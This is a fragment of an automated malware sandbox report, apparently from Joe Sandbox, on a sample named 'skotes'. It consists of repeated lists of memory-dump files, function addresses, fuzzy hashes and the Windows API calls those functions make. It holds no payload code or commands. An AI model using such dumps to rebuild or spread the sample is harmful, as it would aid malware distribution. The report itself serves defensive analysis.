Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 48e8c5232dc15b2f5314f6cbab45a98b068ea49301fa0a29ac48351acd5ef7a7
Instruction ID: 61740304af074d0ea757a477b48c56763bacf6aee471f659a45ee6f6b4d45eb4
Opcode Fuzzy Hash: 48e8c5232dc15b2f5314f6cbab45a98b068ea49301fa0a29ac48351acd5ef7a7
Instruction Fuzzy Hash: 37E0CD1139B30197E71037EC78AEF7D6114A7FB710FA50414E518C66E0C79085404A77

Function 00D16D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00D16D11
Sleep.KERNEL32(00007530), ref: 00D16D25

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 9bdd0b24fe46002daf9ccff8f476b2f35fbfd7fa683b09b190a681443e1d966b
Instruction ID: 05483018568583492761ed779b892a73af2277376081dfc96bb0a2a437719e71
Opcode Fuzzy Hash: 9bdd0b24fe46002daf9ccff8f476b2f35fbfd7fa683b09b190a681443e1d966b
Instruction Fuzzy Hash: 07D012347C0314BAF22006203C0BFA6AE219B0AF11F25484473883F0D089E4B04086B8

Function 00D3AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00D3AC8D

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 0b1d0eb41419d186684dd2d0591d78d2ea534cf71f89ee831e5fdf836058f3df
Instruction ID: 8bb2582c43af8de167d09d67c5c4e3140958dd9a6097b584a2eeadd053843a13
Opcode Fuzzy Hash: 0b1d0eb41419d186684dd2d0591d78d2ea534cf71f89ee831e5fdf836058f3df
Instruction Fuzzy Hash: 391115B5A0420AAFCB09DF59E94199A7BF4EF48304F054069F809EB351D670EE21CB65

Function 00D41775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00D41B65,?,?,00000000,?,00D41B65,00000000,0000000C), ref: 00D41792

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 51124d0e2aaf95a7a57ceda756735e30d9a9d0ecc15ee8defb3b1c799cf222cf
Instruction ID: 6941e4b808489d66e931e43853d5b7a84f3f5989b0862d533edc32fe9d49161c
Opcode Fuzzy Hash: 51124d0e2aaf95a7a57ceda756735e30d9a9d0ecc15ee8defb3b1c799cf222cf
Instruction Fuzzy Hash: DAD0923214010DBBDF169F84DC06EDE3BAAFB88714F118500BE1866060C776E831AB94

Function 05590C80 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3104665676.0000000005590000.00000040.00001000.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5590000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4505daf2560a174afe93858a7e4b5800527a6b625f0d24ad4bc694e8b90a48a8
Instruction ID: ddd1c3317f4fcb1d2867d55a10c085694ad4bb61d2c92cf27a52c135172b5405
Opcode Fuzzy Hash: 4505daf2560a174afe93858a7e4b5800527a6b625f0d24ad4bc694e8b90a48a8
Instruction Fuzzy Hash: 1A01E5DB04C314FD598AC1456B085B66A6FB6DA3303308C16F807D8AA5C28C5B9551F2

Function 05590C7D Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3104665676.0000000005590000.00000040.00001000.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5590000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23277355bce34d05cbbfe6289dadfbd5e347d7f103381241bbb21c5fa97743eb
Instruction ID: 55b4b7d47ebb841631d624e9a8d043c62df5ae50677327878597b955790560d3
Opcode Fuzzy Hash: 23277355bce34d05cbbfe6289dadfbd5e347d7f103381241bbb21c5fa97743eb
Instruction Fuzzy Hash: 9501E59B04C314FD598AC1856B585B66A5FB6DA3303708C16F807D8AA5C28C5B9951F2

Function 05590CA1 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3104665676.0000000005590000.00000040.00001000.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5590000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a2a8aeeb2c9648d537083830a4498a68389406e13197cb3c2e45adf862e772
Instruction ID: 4b3189f5c11f6e7bbf6e227d7c99276b9e8c25525a9db00d861a30a6af48d77c
Opcode Fuzzy Hash: e8a2a8aeeb2c9648d537083830a4498a68389406e13197cb3c2e45adf862e772
Instruction Fuzzy Hash: 6C01F59F049314EE498FC1856B1C2B6AA1B77E63303344D12B80BE9BE6828C579250D2

Function 05590CBB Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3104665676.0000000005590000.00000040.00001000.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5590000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e02e89bdf2306dcd627d976e81dedf60d65807bd29f6c245c44774d3fb48365
Instruction ID: 47439a9c8e35cbaefeb4674d4d5b8d9410f96f70b91401e711fac6ba0a4becad
Opcode Fuzzy Hash: 9e02e89bdf2306dcd627d976e81dedf60d65807bd29f6c245c44774d3fb48365
Instruction Fuzzy Hash: CF0126AF448314EE4E8FC184574C5B67E2BBBEB2703740C16B807A9BF6C28C979151E2

Function 05590CDA Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3104665676.0000000005590000.00000040.00001000.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5590000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ce68a73e26f56a07045eaecf31bd79ff964e952ff4d365bd20f8ac5cba896cd
Instruction ID: 5e486a17d8ece1b28d4be1001d19b07f09897c87eb757b181a8022470817a6b8
Opcode Fuzzy Hash: 0ce68a73e26f56a07045eaecf31bd79ff964e952ff4d365bd20f8ac5cba896cd
Instruction Fuzzy Hash: 09F0229F488324EA48CFC0855B0C2766D1BB7EB2303744C16B407D9BF5C28C579551E2

Function 05590CFF Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3104665676.0000000005590000.00000040.00001000.00020000.00000000.sdmp, Offset: 05590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5590000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9e2c383fdfcef172f428f0170aad29748e26d0e5eda9cd324fe258985333d74
Instruction ID: d8d4688d3ebcb439f19cc5d8fc0575ed2a7daf2a80b07d1d1b74dac5baa4be34
Opcode Fuzzy Hash: e9e2c383fdfcef172f428f0170aad29748e26d0e5eda9cd324fe258985333d74
Instruction Fuzzy Hash: 9CF090CF489328B849DFC085170C2B25D1F76EB2302784E56A45799BE6928D67A610E2

Non-executed Functions

Function 00D20E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D20F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D20F62

Part of subcall function 00D2265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00D22750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00D20FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D20FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D2103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00D2106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00D210C1

Strings

(, xrefs: 00D20F22

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
